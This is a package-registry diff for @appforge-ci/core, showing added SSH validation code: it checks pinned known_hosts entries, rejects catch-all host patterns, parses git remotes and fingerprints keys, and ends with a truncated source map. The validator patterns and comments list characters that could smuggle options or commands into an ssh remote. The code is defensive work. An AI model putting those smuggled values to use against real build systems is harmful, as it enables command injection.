@appforge-ci/core 0.3.0 → 0.3.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (105) hide show
  1. package/dist/agent-readiness.d.ts +11 -3
  2. package/dist/agent-readiness.d.ts.map +1 -1
  3. package/dist/agent-readiness.js +15 -5
  4. package/dist/agent-readiness.js.map +1 -1
  5. package/dist/agent-readiness.test.js +34 -10
  6. package/dist/agent-readiness.test.js.map +1 -1
  7. package/dist/api-client.d.ts +39 -1
  8. package/dist/api-client.d.ts.map +1 -1
  9. package/dist/api-client.js +52 -0
  10. package/dist/api-client.js.map +1 -1
  11. package/dist/appforge-verify.test.d.ts +2 -0
  12. package/dist/appforge-verify.test.d.ts.map +1 -0
  13. package/dist/appforge-verify.test.js +958 -0
  14. package/dist/appforge-verify.test.js.map +1 -0
  15. package/dist/attestation-keys.d.ts +20 -0
  16. package/dist/attestation-keys.d.ts.map +1 -0
  17. package/dist/attestation-keys.js +27 -0
  18. package/dist/attestation-keys.js.map +1 -0
  19. package/dist/attestation-keys.test.d.ts +2 -0
  20. package/dist/attestation-keys.test.d.ts.map +1 -0
  21. package/dist/attestation-keys.test.js +45 -0
  22. package/dist/attestation-keys.test.js.map +1 -0
  23. package/dist/attestation-signing.d.ts +226 -0
  24. package/dist/attestation-signing.d.ts.map +1 -0
  25. package/dist/attestation-signing.js +276 -0
  26. package/dist/attestation-signing.js.map +1 -0
  27. package/dist/attestation-signing.test.d.ts +2 -0
  28. package/dist/attestation-signing.test.d.ts.map +1 -0
  29. package/dist/attestation-signing.test.js +250 -0
  30. package/dist/attestation-signing.test.js.map +1 -0
  31. package/dist/attestation-workerd.test.d.ts +2 -0
  32. package/dist/attestation-workerd.test.d.ts.map +1 -0
  33. package/dist/attestation-workerd.test.js +183 -0
  34. package/dist/attestation-workerd.test.js.map +1 -0
  35. package/dist/attestation.d.ts +169 -22
  36. package/dist/attestation.d.ts.map +1 -1
  37. package/dist/attestation.js +42 -16
  38. package/dist/attestation.js.map +1 -1
  39. package/dist/build-vpn.d.ts +11 -1
  40. package/dist/build-vpn.d.ts.map +1 -1
  41. package/dist/build-vpn.js +27 -0
  42. package/dist/build-vpn.js.map +1 -1
  43. package/dist/fleet-vpn.d.ts +64 -0
  44. package/dist/fleet-vpn.d.ts.map +1 -0
  45. package/dist/fleet-vpn.js +88 -0
  46. package/dist/fleet-vpn.js.map +1 -0
  47. package/dist/fleet-vpn.test.d.ts +2 -0
  48. package/dist/fleet-vpn.test.d.ts.map +1 -0
  49. package/dist/fleet-vpn.test.js +69 -0
  50. package/dist/fleet-vpn.test.js.map +1 -0
  51. package/dist/index.d.ts +6 -0
  52. package/dist/index.d.ts.map +1 -1
  53. package/dist/index.js +6 -0
  54. package/dist/index.js.map +1 -1
  55. package/dist/schemas-repo-url.test.d.ts +2 -0
  56. package/dist/schemas-repo-url.test.d.ts.map +1 -0
  57. package/dist/schemas-repo-url.test.js +67 -0
  58. package/dist/schemas-repo-url.test.js.map +1 -0
  59. package/dist/schemas.d.ts +18 -0
  60. package/dist/schemas.d.ts.map +1 -1
  61. package/dist/schemas.js +56 -10
  62. package/dist/schemas.js.map +1 -1
  63. package/dist/ssh-deploy-key.d.ts +59 -0
  64. package/dist/ssh-deploy-key.d.ts.map +1 -0
  65. package/dist/ssh-deploy-key.js +124 -0
  66. package/dist/ssh-deploy-key.js.map +1 -0
  67. package/dist/ssh-deploy-key.test.d.ts +2 -0
  68. package/dist/ssh-deploy-key.test.d.ts.map +1 -0
  69. package/dist/ssh-deploy-key.test.js +117 -0
  70. package/dist/ssh-deploy-key.test.js.map +1 -0
  71. package/dist/types.d.ts +57 -2
  72. package/dist/types.d.ts.map +1 -1
  73. package/dist/types.js +0 -5
  74. package/dist/types.js.map +1 -1
  75. package/dist/vpn-attestation-workerd.test.d.ts +2 -0
  76. package/dist/vpn-attestation-workerd.test.d.ts.map +1 -0
  77. package/dist/vpn-attestation-workerd.test.js +184 -0
  78. package/dist/vpn-attestation-workerd.test.js.map +1 -0
  79. package/dist/vpn-attestation.d.ts +1015 -0
  80. package/dist/vpn-attestation.d.ts.map +1 -0
  81. package/dist/vpn-attestation.js +963 -0
  82. package/dist/vpn-attestation.js.map +1 -0
  83. package/dist/vpn-attestation.test.d.ts +2 -0
  84. package/dist/vpn-attestation.test.d.ts.map +1 -0
  85. package/dist/vpn-attestation.test.js +613 -0
  86. package/dist/vpn-attestation.test.js.map +1 -0
  87. package/dist/vpn-egress-presets.d.ts +1 -1
  88. package/dist/vpn-egress-presets.d.ts.map +1 -1
  89. package/dist/vpn-egress-presets.js +2 -2
  90. package/dist/vpn-egress-presets.js.map +1 -1
  91. package/dist/vpn-sandbox.d.ts +67 -0
  92. package/dist/vpn-sandbox.d.ts.map +1 -0
  93. package/dist/vpn-sandbox.js +22 -0
  94. package/dist/vpn-sandbox.js.map +1 -0
  95. package/dist/vpn-sandbox.test.d.ts +2 -0
  96. package/dist/vpn-sandbox.test.d.ts.map +1 -0
  97. package/dist/vpn-sandbox.test.js +34 -0
  98. package/dist/vpn-sandbox.test.js.map +1 -0
  99. package/dist/vpn-ssh.d.ts +93 -0
  100. package/dist/vpn-ssh.d.ts.map +1 -1
  101. package/dist/vpn-ssh.js +213 -1
  102. package/dist/vpn-ssh.js.map +1 -1
  103. package/dist/vpn-ssh.test.js +200 -1
  104. package/dist/vpn-ssh.test.js.map +1 -1
  105. package/package.json +1 -1
package/dist/vpn-ssh.js CHANGED
@@ -36,6 +36,44 @@ const KEY_TYPES = [
36
36
  // no leading ssh option fields (`command=...`), single spaces only.
37
37
  const HOSTS = String.raw `[A-Za-z0-9.*?!,:_\-\[\]|=+/]+`;
38
38
  const KNOWN_HOSTS_LINE = new RegExp(`^(@cert-authority )?(${HOSTS}) (${KEY_TYPES.map((t) => t.replace(/[.]/g, "\\.")).join("|")}) ([A-Za-z0-9+/]{20,}={0,3})( [\\x20-\\x7e]{0,200})?$`);
39
+ /** At most this many comma-separated host patterns on one known_hosts line. */
40
+ export const MAX_KNOWN_HOSTS_PATTERNS_PER_LINE = 16;
41
+ /**
42
+ * True when a line's host-pattern field names something specific: at most
43
+ * `MAX_KNOWN_HOSTS_PATTERNS_PER_LINE` patterns, none empty, at least one of them
44
+ * a positive (not `!`-negated) pattern, and every positive pattern carries at
45
+ * least one literal character. A bare `*`, `?`, `*.*` or `[*]:22` would pin ONE
46
+ * key as the identity of EVERY server, which defeats pinning (and, as a
47
+ * `@cert-authority` line, would trust a CA for every host); a line of only
48
+ * negations matches nothing and is a typo. Hashed (`|1|salt|hash`) patterns are
49
+ * opaque and always count as specific.
50
+ */
51
+ function hostPatternsAreSpecific(field) {
52
+ const patterns = field.split(",");
53
+ if (patterns.length > MAX_KNOWN_HOSTS_PATTERNS_PER_LINE)
54
+ return false;
55
+ let positives = 0;
56
+ for (const p of patterns) {
57
+ if (p === "" || p === "!")
58
+ return false;
59
+ if (p.startsWith("|")) {
60
+ positives++;
61
+ continue;
62
+ }
63
+ if (p.startsWith("!"))
64
+ continue;
65
+ positives++;
66
+ // `[host]:port` pins a port: the literal part is the host, never the port digits.
67
+ // For a non-default port ssh looks a host up as `[host]:PORT`, so an unbracketed
68
+ // `*:2222` or `*]:2222` would match every host on that port: strip any trailing
69
+ // `]:port` / `:port` suffix(es) before looking for a literal character.
70
+ const bracket = /^\[(.*)\](?::\d+)?$/.exec(p);
71
+ const host = (bracket ? bracket[1] : p).replace(/(\]?:\d+)+$/, "");
72
+ if (!/[A-Za-z0-9]/.test(host.replace(/[*?.\-_]/g, "")))
73
+ return false;
74
+ }
75
+ return positives > 0;
76
+ }
39
77
  /** True when the base64 blob is a well-formed SSH wire key of type `keyType`:
40
78
  * a sequence of length-prefixed strings that consumes the blob exactly (so a
41
79
  * truncated or padded blob is refused), the first of which is the type name
@@ -83,7 +121,7 @@ export function sanitizeKnownHosts(input) {
83
121
  if (line === "" || line.startsWith("#"))
84
122
  return;
85
123
  const m = line.length <= MAX_KNOWN_HOSTS_LINE_LENGTH ? KNOWN_HOSTS_LINE.exec(line) : null;
86
- if (!m || !blobMatchesType(m[4], m[3]) || lines.length >= MAX_KNOWN_HOSTS_LINES) {
124
+ if (!m || !blobMatchesType(m[4], m[3]) || !hostPatternsAreSpecific(m[2]) || lines.length >= MAX_KNOWN_HOSTS_LINES) {
87
125
  rejected.push(i + 1);
88
126
  return;
89
127
  }
@@ -105,4 +143,178 @@ export function isPlausibleSshPrivateKey(value) {
105
143
  return false;
106
144
  return /^-----BEGIN [A-Z0-9 ]{0,30}PRIVATE KEY-----\r?\n[A-Za-z0-9+/=\r\n: ,.-]+\r?\n-----END [A-Z0-9 ]{0,30}PRIVATE KEY-----\s*$/.test(value);
107
145
  }
146
+ // ---------------------------------------------------------------------------
147
+ // Control-plane side (PR-G): validating what a customer pastes, showing it back
148
+ // with fingerprints, and deciding which git remotes may use ssh at all.
149
+ // ---------------------------------------------------------------------------
150
+ /** The agent feature that makes a lease's ssh material usable (`appforge-vpn connect` + per-build ssh state). */
151
+ export const SSH_FEATURE = "ssh-v1";
152
+ /**
153
+ * The strict front door for `sshKnownHosts` from a client: `sanitizeKnownHosts`
154
+ * plus an all-or-nothing verdict. A line the sanitizer drops is an ERROR here
155
+ * (the customer must see that part of their paste was refused, instead of the
156
+ * build later failing "No host key is known" for a server they thought was
157
+ * pinned), and nothing is stored when any line is bad. An empty list is valid
158
+ * and means "no ssh through this tunnel". Error text carries line numbers and
159
+ * the rule broken, never the offending text (a private key pasted by mistake
160
+ * must not travel into an error, a log or an audit entry).
161
+ */
162
+ export function validateKnownHostsInput(input) {
163
+ if (!Array.isArray(input))
164
+ return { ok: false, lines: [], errors: ["knownHosts must be a list of host-key lines"] };
165
+ // A hard ceiling BEFORE the per-line work, so an oversized paste is one cheap error.
166
+ if (input.length > MAX_KNOWN_HOSTS_LINES * 4) {
167
+ return { ok: false, lines: [], errors: [`knownHosts has too many lines (at most ${MAX_KNOWN_HOSTS_LINES} host keys are accepted)`] };
168
+ }
169
+ const { lines, rejected } = sanitizeKnownHosts(input);
170
+ const errors = rejected.slice(0, 20).map((n) => `line ${n} is not an acceptable host-key line (use "host[,host...] <key-type> <base64-key>" or "@cert-authority <host-pattern> <key-type> <base64-key>", as printed by ssh-keyscan; no options, no private keys, no catch-all host patterns)`);
171
+ if (rejected.length > 20)
172
+ errors.push(`${rejected.length - 20} more line(s) were also refused`);
173
+ return errors.length > 0 ? { ok: false, lines: [], errors } : { ok: true, lines, errors: [] };
174
+ }
175
+ function toB64NoPad(bytes) {
176
+ const u8 = bytes instanceof Uint8Array ? bytes : new Uint8Array(bytes);
177
+ let bin = "";
178
+ for (const b of u8)
179
+ bin += String.fromCharCode(b);
180
+ return btoa(bin).replace(/=+$/, "");
181
+ }
182
+ function fromB64(b64) {
183
+ const bin = atob(b64);
184
+ const out = new Uint8Array(bin.length);
185
+ for (let i = 0; i < bin.length; i++)
186
+ out[i] = bin.charCodeAt(i);
187
+ return out;
188
+ }
189
+ /** `SHA256:<base64>` of an SSH wire-format key (the blob in a known_hosts or `.pub` line), as `ssh-keygen -l` prints it. */
190
+ export async function sshKeyFingerprint(keyBase64) {
191
+ const digest = await crypto.subtle.digest("SHA-256", fromB64(keyBase64));
192
+ return `SHA256:${toB64NoPad(digest)}`;
193
+ }
194
+ /**
195
+ * Fingerprints of already-validated known_hosts lines, computed server-side so a
196
+ * customer compares what AppForge will actually pin with what their server
197
+ * prints (`ssh-keygen -lf /etc/ssh/ssh_host_ed25519_key.pub`). Lines that do not
198
+ * parse (should not happen for stored data) are skipped rather than thrown on,
199
+ * so a display can never be broken by a corrupt row.
200
+ */
201
+ export async function knownHostsFingerprints(lines) {
202
+ const out = [];
203
+ for (const line of lines) {
204
+ const m = KNOWN_HOSTS_LINE.exec(line);
205
+ if (!m)
206
+ continue;
207
+ try {
208
+ out.push({ hosts: m[2], keyType: m[3], fingerprint: await sshKeyFingerprint(m[4]), certAuthority: m[1] !== undefined });
209
+ }
210
+ catch {
211
+ /* corrupt stored line: not shown */
212
+ }
213
+ }
214
+ return out;
215
+ }
216
+ /** The fingerprints of two stored lists compared, for the audit entry of a change: fingerprints only, never the lines. */
217
+ export function diffFingerprints(before, after) {
218
+ const b = new Set(before.map((e) => e.fingerprint));
219
+ const a = new Set(after.map((e) => e.fingerprint));
220
+ return { added: [...a].filter((f) => !b.has(f)).sort(), removed: [...b].filter((f) => !a.has(f)).sort() };
221
+ }
222
+ /** Longest accepted `ssh://` / scp-like remote. */
223
+ export const MAX_SSH_REMOTE_LENGTH = 1024;
224
+ const SSH_USER = String.raw `[A-Za-z0-9_][A-Za-z0-9._-]{0,63}`;
225
+ // A DNS name or an IPv4 address: letters, digits, dots and inner hyphens, never a leading
226
+ // hyphen (it would be read as an ssh option), never `%`, `:`, brackets or whitespace.
227
+ const SSH_HOST = String.raw `[A-Za-z0-9](?:[A-Za-z0-9.-]{0,251}[A-Za-z0-9])?`;
228
+ // Path characters git hosts actually use. No `-` first (option-looking), no `?`, `#`, `%`, `\`, quotes, `$`, `;`, `|`, `&`, backticks or whitespace.
229
+ const SSH_PATH = String.raw `[A-Za-z0-9_~+][A-Za-z0-9_~+./-]{0,500}`;
230
+ const SSH_URL_RE = new RegExp(String.raw `^ssh://(${SSH_USER})@(${SSH_HOST})(?::([0-9]{1,5}))?/(${SSH_PATH})$`);
231
+ const SCP_RE = new RegExp(String.raw `^(${SSH_USER})@(${SSH_HOST}):(/?${SSH_PATH})$`);
232
+ function safeRepoPath(path) {
233
+ return !path.split("/").some((seg) => seg === "..");
234
+ }
235
+ /**
236
+ * Parses a git remote into one of the two shapes an app may use, or null.
237
+ *
238
+ * - `https://…` exactly as before (the WHATWG URL parser, scheme `https:`).
239
+ * - `ssh://user@host[:port]/path` and the scp-like `user@host:path`: a user name
240
+ * is REQUIRED (without it ssh would use the Mac's own account name), the host
241
+ * is a plain DNS name or IPv4 address, the path is a conservative character
242
+ * set with no `..` segment. Anything an ssh client could read as an option or
243
+ * a command (leading `-`, `%`, quotes, `$`, backticks, `;`, whitespace,
244
+ * control characters, a `user:password@` form, an IPv6 literal) does not parse.
245
+ *
246
+ * This is the SYNTAX gate. Whether a given app may use an ssh remote at all
247
+ * (useVpn, an active tunnel with pinned host keys) is the control plane's rule,
248
+ * enforced by the routes and again at lease time.
249
+ */
250
+ export function parseGitRemote(value) {
251
+ if (typeof value !== "string" || value.length === 0 || value.length > MAX_SSH_REMOTE_LENGTH)
252
+ return null;
253
+ if (value.startsWith("https://")) {
254
+ try {
255
+ const u = new URL(value);
256
+ if (u.protocol !== "https:")
257
+ return null;
258
+ return { kind: "https", form: "url", user: null, host: u.hostname, port: u.port ? Number(u.port) : null, path: u.pathname };
259
+ }
260
+ catch {
261
+ return null;
262
+ }
263
+ }
264
+ // eslint-disable-next-line no-control-regex
265
+ if (/[\x00-\x20\x7f-\x9f]|\p{Zl}|\p{Zp}/u.test(value))
266
+ return null;
267
+ if (value.startsWith("ssh://")) {
268
+ const m = SSH_URL_RE.exec(value);
269
+ if (!m)
270
+ return null;
271
+ const port = m[3] === undefined ? null : Number(m[3]);
272
+ if (port !== null && (port < 1 || port > 65535))
273
+ return null;
274
+ if (!safeRepoPath(m[4]))
275
+ return null;
276
+ return { kind: "ssh", form: "url", user: m[1], host: m[2], port, path: `/${m[4]}` };
277
+ }
278
+ // scp-like: no scheme. `://` anywhere means some other scheme, never scp.
279
+ if (value.includes("://"))
280
+ return null;
281
+ const m = SCP_RE.exec(value);
282
+ if (!m || !safeRepoPath(m[3]))
283
+ return null;
284
+ return { kind: "ssh", form: "scp", user: m[1], host: m[2], port: null, path: m[3] };
285
+ }
286
+ /** True when `value` is a (valid) ssh git remote: `ssh://` or scp-like. */
287
+ export function isSshGitRemote(value) {
288
+ return parseGitRemote(value)?.kind === "ssh";
289
+ }
290
+ /**
291
+ * True when `value` is shaped like it wants a non-https, ssh transport (an ssh
292
+ * form, whether or not it is well-formed). The agent uses it to refuse, closed,
293
+ * anything that should have gone through the ssh path but cannot be proven
294
+ * safe, instead of letting git interpret it.
295
+ */
296
+ export function looksLikeSshGitRemote(value) {
297
+ if (typeof value !== "string")
298
+ return false;
299
+ if (value.startsWith("ssh://"))
300
+ return true;
301
+ if (value.startsWith("https://") || value.includes("://"))
302
+ return false;
303
+ // `[user@]host:path` with no slash before the colon is git's own scp test.
304
+ return /^[^/:]+:/.test(value) && !/^[A-Za-z]:[\\/]/.test(value);
305
+ }
306
+ // --- customer-facing wording -------------------------------------------------
307
+ /**
308
+ * What git over SSH through the tunnel does and does NOT give, one line each, shown
309
+ * by the CLI and the dashboard next to the host-key and deploy-key settings. Kept
310
+ * here so both surfaces (and docs/vpn.md) say the same, honest thing. Do not add a
311
+ * claim the code does not back: this is not compliance wording.
312
+ */
313
+ export const SSH_LIMITS = [
314
+ "Host keys are pinned, never trusted on first use: ssh connects only to servers whose key you registered here, and refuses an unknown or changed key. Compare the fingerprints with what your own server prints (ssh-keygen -lf /etc/ssh/ssh_host_ed25519_key.pub) before you rely on them.",
315
+ "AppForge generates each app's deploy key and shows you only the public half. Install it on your git server as a read-only deploy key. The private half is stored encrypted and is handed only to the Mac that runs that app's build.",
316
+ "During a build the key sits in a per-build ssh-agent: build scripts can ask it to sign for your registered servers, but cannot read the key out. It is never written to disk by AppForge. Build scripts run as the same macOS user as the build agent on that Mac, so treat the deploy key as readable by the code you build: keep it read-only and scoped to one repository.",
317
+ "git and rsync use the tunnel automatically. A bare 'ssh host' in a build script is NOT routed through it; use ssh -F \"$APPFORGE_SSH_CONFIG\" host. Where the build is not kernel-sandboxed, a script that bypasses that wiring is not stopped from connecting elsewhere by this feature.",
318
+ "Clone speed through the tunnel for large repositories has not been measured.",
319
+ ];
108
320
  //# sourceMappingURL=vpn-ssh.js.map
@@ -1 +1 @@
1
- {"version":3,"file":"vpn-ssh.js","sourceRoot":"","sources":["../src/vpn-ssh.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"vpn-ssh.js","sourceRoot":"","sources":["../src/vpn-ssh.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;GAiBG;AAEH,mEAAmE;AACnE,MAAM,CAAC,MAAM,qBAAqB,GAAG,EAAE,CAAC;AACxC,qFAAqF;AACrF,MAAM,CAAC,MAAM,2BAA2B,GAAG,IAAI,CAAC;AAChD,wEAAwE;AACxE,MAAM,CAAC,MAAM,yBAAyB,GAAG,EAAE,GAAG,IAAI,CAAC;AAEnD,MAAM,SAAS,GAAG;IAChB,aAAa;IACb,qBAAqB;IACrB,qBAAqB;IACrB,qBAAqB;IACrB,SAAS;IACT,4BAA4B;IAC5B,oCAAoC;CAC5B,CAAC;AAEX,2EAA2E;AAC3E,gFAAgF;AAChF,oEAAoE;AACpE,MAAM,KAAK,GAAG,MAAM,CAAC,GAAG,CAAA,+BAA+B,CAAC;AACxD,MAAM,gBAAgB,GAAG,IAAI,MAAM,CACjC,wBAAwB,KAAK,MAAM,SAAS,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,OAAO,CAAC,MAAM,EAAE,KAAK,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,uDAAuD,CACnJ,CAAC;AAEF,+EAA+E;AAC/E,MAAM,CAAC,MAAM,iCAAiC,GAAG,EAAE,CAAC;AAEpD;;;;;;;;;GASG;AACH,SAAS,uBAAuB,CAAC,KAAa;IAC5C,MAAM,QAAQ,GAAG,KAAK,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC;IAClC,IAAI,QAAQ,CAAC,MAAM,GAAG,iCAAiC;QAAE,OAAO,KAAK,CAAC;IACtE,IAAI,SAAS,GAAG,CAAC,CAAC;IAClB,KAAK,MAAM,CAAC,IAAI,QAAQ,EAAE,CAAC;QACzB,IAAI,CAAC,KAAK,EAAE,IAAI,CAAC,KAAK,GAAG;YAAE,OAAO,KAAK,CAAC;QACxC,IAAI,CAAC,CAAC,UAAU,CAAC,GAAG,CAAC,EAAE,CAAC;YACtB,SAAS,EAAE,CAAC;YACZ,SAAS;QACX,CAAC;QACD,IAAI,CAAC,CAAC,UAAU,CAAC,GAAG,CAAC;YAAE,SAAS;QAChC,SAAS,EAAE,CAAC;QACZ,kFAAkF;QAClF,iFAAiF;QACjF,gFAAgF;QAChF,wEAAwE;QACxE,MAAM,OAAO,GAAG,qBAAqB,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;QAC9C,MAAM,IAAI,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,OAAO,CAAC,CAAC,CAAE,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,OAAO,CAAC,aAAa,EAAE,EAAE,CAAC,CAAC;QACpE,IAAI,CAAC,aAAa,CAAC,IAAI,CAAC,IAAI,CAAC,OAAO,CAAC,WAAW,EAAE,EAAE,CAAC,CAAC;YAAE,OAAO,KAAK,CAAC;IACvE,CAAC;IACD,OAAO,SAAS,GAAG,CAAC,CAAC;AACvB,CAAC;AASD;;;0EAG0E;AAC1E,SAAS,eAAe,CAAC,GAAW,EAAE,OAAe;IACnD,IAAI,GAAW,CAAC;IAChB,IAAI,CAAC;QACH,GAAG,GAAG,IAAI,CAAC,GAAG,CAAC,CAAC;IAClB,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,KAAK,CAAC;IACf,CAAC;IACD,IAAI,GAAG,GAAG,CAAC,CAAC;IACZ,MAAM,MAAM,GAAa,EAAE,CAAC;IAC5B,OAAO,GAAG,GAAG,GAAG,CAAC,MAAM,EAAE,CAAC;QACxB,IAAI,GAAG,GAAG,CAAC,GAAG,GAAG,CAAC,MAAM;YAAE,OAAO,KAAK,CAAC;QACvC,MAAM,GAAG,GAAG,CAAC,GAAG,CAAC,UAAU,CAAC,GAAG,CAAC,GAAG,SAAS,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,UAAU,CAAC,GAAG,GAAG,CAAC,CAAC,IAAI,EAAE,CAAC,GAAG,CAAC,GAAG,CAAC,UAAU,CAAC,GAAG,GAAG,CAAC,CAAC,IAAI,CAAC,CAAC,GAAG,GAAG,CAAC,UAAU,CAAC,GAAG,GAAG,CAAC,CAAC,CAAC,CAAC;QAC7I,GAAG,IAAI,CAAC,CAAC;QACT,IAAI,GAAG,GAAG,GAAG,CAAC,MAAM,GAAG,GAAG;YAAE,OAAO,KAAK,CAAC;QACzC,MAAM,CAAC,IAAI,CAAC,GAAG,CAAC,KAAK,CAAC,GAAG,EAAE,GAAG,GAAG,GAAG,CAAC,CAAC,CAAC;QACvC,GAAG,IAAI,GAAG,CAAC;IACb,CAAC;IACD,OAAO,MAAM,CAAC,MAAM,IAAI,CAAC,IAAI,MAAM,CAAC,CAAC,CAAC,KAAK,OAAO,CAAC;AACrD,CAAC;AAED;;;;;;;GAOG;AACH,MAAM,UAAU,kBAAkB,CAAC,KAAyB;IAC1D,MAAM,KAAK,GAAa,EAAE,CAAC;IAC3B,MAAM,QAAQ,GAAa,EAAE,CAAC;IAC9B,MAAM,IAAI,GAAG,IAAI,GAAG,EAAU,CAAC;IAC/B,KAAK,CAAC,OAAO,CAAC,CAAC,GAAG,EAAE,CAAC,EAAE,EAAE;QACvB,IAAI,OAAO,GAAG,KAAK,QAAQ,EAAE,CAAC;YAC5B,QAAQ,CAAC,IAAI,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC;YACrB,OAAO;QACT,CAAC;QACD,MAAM,IAAI,GAAG,GAAG,CAAC,IAAI,EAAE,CAAC;QACxB,IAAI,IAAI,KAAK,EAAE,IAAI,IAAI,CAAC,UAAU,CAAC,GAAG,CAAC;YAAE,OAAO;QAChD,MAAM,CAAC,GAAG,IAAI,CAAC,MAAM,IAAI,2BAA2B,CAAC,CAAC,CAAC,gBAAgB,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC;QAC1F,IAAI,CAAC,CAAC,IAAI,CAAC,eAAe,CAAC,CAAC,CAAC,CAAC,CAAE,EAAE,CAAC,CAAC,CAAC,CAAE,CAAC,IAAI,CAAC,uBAAuB,CAAC,CAAC,CAAC,CAAC,CAAE,CAAC,IAAI,KAAK,CAAC,MAAM,IAAI,qBAAqB,EAAE,CA